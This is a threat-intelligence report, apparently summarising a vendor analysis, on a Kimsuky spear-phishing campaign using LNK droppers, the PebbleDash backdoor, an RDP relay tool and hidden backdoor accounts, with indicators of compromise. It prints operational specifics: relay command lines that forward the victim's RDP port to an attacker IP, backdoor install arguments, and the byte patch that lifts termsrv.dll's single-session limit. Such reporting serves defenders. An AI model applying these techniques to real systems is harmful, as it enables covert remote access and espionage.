In a campaign documented by AhnLab ASEC (published 2026-07-17), Kimsuky operators sent spear-phishing emails impersonating diplomatic personnel and organizations, targeting education-sector victims with LNK attachments disguised as documents (e.g., "vvn.31.Pdf....Lnk", "D.21 SEOUL.Lnk", "AIE NO. 178 SEOUL.Lnk"). Two execution chains were observed: Case 1 has the LNK directly invoke an embedded PowerShell script; Case 2 has the LNK launch mshta.exe against an embedded malicious HTA script. Both chains ultimately drop a JavaScript downloader ("DefenderUpdate.js") that beacons to C2 for follow-on payloads, plus "Templates.js"/"Templates.ps1" which install a persistence launcher and register a scheduled task named "Windows Templates Update", and "capture.ps1", an exfiltration script that reads and transmits local files to the C2 server.

The primary payload is the PebbleDash backdoor, deployed in two variants. An argument-based variant is installed with the argument "QCvt5676hZXbg" and executed with "mJnZzaCN2RnFG", self-copying to %SystemRoot%\System32\smss.exe to masquerade as a legitimate Windows process. A registry-based variant requires argument "edcVFRtgbNHY6", stores its encrypted configuration under HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security\{CC1CFAFD-D1B4-4303-8C2C-0BC4E3C54B5C}, and uses an injector DLL (%SystemDirectory%\sqliom.dll) to inject its payload into the LSASS process for defense evasion and credential-access proximity. PebbleDash communicates with its C2 over an HTTP-based protocol using URL parameters (Page=<Random>&mode=<ConfigID>&DATA=<SessionID> for registration, Page=1&mode=<SessionID>2 for command retrieval, Page=2&mode=<SessionID>&DATA=<EncData> for result exfiltration) and supports at least 27 distinct commands covering drive/process/system enumeration, file download/upload/delete/wipe/move, arbitrary process execution, configuration updates, heartbeat, self-deletion, and remote shutdown.

Alongside PebbleDash, the actor deploys PrxClient, a lightweight relay/proxy tool that pivots traffic between the attacker's C2 infrastructure and the victim's local RDP port (3389), effectively turning the compromised host into a reverse-proxy jump box for interactive RDP sessions without requiring inbound firewall exceptions. Observed invocations pass six positional arguments: C2 heartbeat port, C2 IP, C2 port, local IP, local RDP port, and a heartbeat-data flag, e.g. "125.tmp 6060 153.75.233.17 8080 127.0.0.2 3389 2" and "rpc.exe 6060 153.75.233.17 8080 127.0.0.2 3389 1".

To maximize the value of RDP access, the actor drops RDP Wrapper (via rdpwrap.bat) to enable RDP service on editions that normally restrict it and to activate a dormant Administrator account, alongside an in-house RDP Patcher that binary-patches the legitimate termsrv.dll routine (legitimate bytes "39 81 3C 06 00 00..." replaced with "B8 00 01 00 00 89 81 38 06 00 00 90") to remove the single-session RDP restriction, enabling concurrent multi-session RDP logins without alerting the interactive user. The patched DLL is staged at C: emp.dll before replacing the system file. The actor then creates multiple hidden local backdoor accounts with disguised names and passwords, including "Administrator" (variant passwords resembling "12*@#"), a second "Administrator" variant ("R8*ca"), and "Adminini" ("09*21"), to guarantee persistent multi-session RDP access even if one credential set is discovered and remediated.

Privilege escalation is achieved via UACMe-derived UAC-bypass techniques and SspiUacBypass, a technique that abuses NTLM datagram security-context manipulation in the Security Support Provider Interface to elevate privileges without a UAC prompt. A custom keylogger persists on the host, writing captured keystrokes to %TEMP%\Log.<USERNAME>.bin before periodic exfiltration to the C2. Additional loader/downloader scripts ("swas.txt", "sadadf.txt") execute further obfuscated PowerShell, and the actor is observed running "rdpwrap_new.bat" or exfiltrating System32 directory listings as reconnaissance for further tooling deployment.

Infrastructure includes an HTTP C2 panel at 167.88.165.122 (/login.asp) and a cluster of attacker-registered/compromised domains masquerading as legitimate services (edcvbgtrf.medianewsonline.com, fsfhsfgsfsnxcvbasfsgsrhsf234fsd.mywebcommunity.org, mpo4wj.scienceontheweb.net, ng.mofagov.com — impersonating a foreign-ministry domain pattern consistent with the diplomatic-impersonation lure, p563q1.sportsontheweb.net), backed by hosting IPs 103.212.120.253, 153.75.233.17, 173.214.170.58, and 167.88.165.122. This tradecraft — LNK-triggered multi-stage PowerShell droppers, PebbleDash, RDP-based interactive access via patched termsrv.dll and hidden accounts, and UAC-bypass privilege escalation — is consistent with Kimsuky's (APT43/Black Banshee/Velvet Chollima/Emerald Sleet/THALLIUM/TA427/Springtail) long-running espionage operations against government, diplomatic, academic, and think-tank targets on behalf of North Korea's Reconnaissance General Bureau.